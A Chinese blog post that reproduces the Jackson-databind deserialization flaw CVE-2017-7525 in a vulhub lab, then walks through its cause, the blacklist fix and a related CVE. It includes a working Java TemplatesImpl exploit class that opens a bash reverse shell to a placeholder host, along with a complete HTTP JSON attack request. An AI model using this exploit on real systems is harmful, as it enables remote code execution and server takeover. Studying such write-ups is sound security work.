Jackson反序列化-CVE-2017-7525复现

为什么想到打打Jackson反序列化呢?一是因为fastjson这种json和java字符串转换的打过一次简单的CVE,而jackson是应用更广泛的json与java字符串转换的框架,恰好有个CVE能打;二是vulhub也有这个环境,那么正好趁热打铁,多看点总是好事。

漏洞原理

Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。

所以,本漏洞利用条件如下:

 

1、开启 JacksonPolymorphicDeserialization,即调用以下任意方法

objectMapper.enableDefaultTyping(); // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

2、Target class 需要有无参 constructor

3、Target class 中需要需要有字段类型为 Interface、abstract class、Object,并且使用的 Gadget 需要为其子类 / 实现接口

影响版本:
FasterXML Jackson-databind < 2.6.7.1
FasterXML Jackson-databind < 2.7.9.1
FasterXML Jackson-databind < 2.8.9

复现开始

docker开一下,我改了个端口,打开默认是报错页面。

Jackson-databind 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。

当调用 getOutputProperties() 方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明,该 payload 不依赖第三方库,只需 JRE 即可完成攻击。

因为好像对jdk1.8以后就打不了了,就跟着其他文章在本机又下了个jdk1.5,而且从现有的复现文章来看,基本都是只能完成写个txt文档,只能说不出网的时候可以用这个,但是我肯定还是想反弹shell的。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exploit extends AbstractTranslet {


    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }


    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public Exploit() throws IOException {
        try {
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/vps/port 0>&1"};
            Process p = Runtime.getRuntime().exec(commands);
            p.waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException {
        Exploit helloworld = new Exploit();
    }
}

先编译成字节码,然后拿到linux下base64转一下:

//win上装的java5,我把exe也改名了,不然会跟我其他java版本撞了
javac5 Exploit.java;

//再把这个字节码文件copy到linux上跑
cat Exploit.class | base64 -w 0 | xargs

bp抓包套payload直接开打:

POST /exploit HTTP/1.1
Host:xx.xx.xx.xx:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1864

{
  "param": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
      "transletBytecodes": [
  "将base64编码好的payload放进来"
      ],
      "transletName": "a.b",
      "outputProperties": {}
    }
  ]
}

(玛德,这里开bp也报java错,因为javaw撞了,低版本java显然不能支持burpsuite)

看了看这个:安装多个版本的jdk后出现Java -version和你配置的环境变量的jdk版本不一致的问题_为什么我jdk17都删了,环境变量还是17-CSDN博客
我java默认变成java8了呃呃,还真不是java5的问题。

踩了一些坑,最后把环境变量里javapath那个删除了(每个电脑可能不一样),然后你自己配的啥名字出的就是啥版本,因为那个javapath在前面,默认值高于你后面配的JAVA_HOME。

javac同理,就没管它了,我的默认java用的java20。

言归正传,加上

Content-Type: application/json

bp抓包开打:

反弹shell成功。

源码审计

又到了知其然知其所以然的环节了。

推荐详看:

Jackson-databind 反序列化漏洞源码分析 - 知乎 (zhihu.com)

这里面还涉及到一个org.springframework.context.support.ClassPathXmlApplicationContext的利用链,也就是可以打SpEL注入:

SpEL表达式注入漏洞总结 [ Mi1k7ea ]

其实还有个CVE-2017-17485,原理是:

该漏洞是由于Jackson CVE-2017-7525黑名单过滤不完整,
当开发人员在应用程序中通过ObjectMapper对象调用enableDefaultTyping方法时,
程序就会受到此漏洞的影响,攻击者就可利用构造的包含有恶意代码的json数据包对应用进行攻击,直接获取服务器控制权限。
目前针对该漏洞利用的POC已经公开,请受影响的用户及时更新版本进行修复。

 

还是老样子,最后提一嘴这个漏洞是怎么修复的:

在前面的封装BeanDeserializer前,加入黑名单判断:

跟进_validateSubType(验证类型)方法:

可以发现,里面就是黑名单的判断.其中_cfgIllegalClassNames为一个set集合.数据如下:

 

参考:

漏洞复现-CVE-2017-7525-Jackson远程代码执行 - 铺哩 - 博客园 (cnblogs.com)

Java反序列 Jdk7u21 Payload 学习笔记 | b1ngz

posted @ 2024-03-13 21:28  Eddie_Murphy  阅读(235)  评论(0编辑  收藏  举报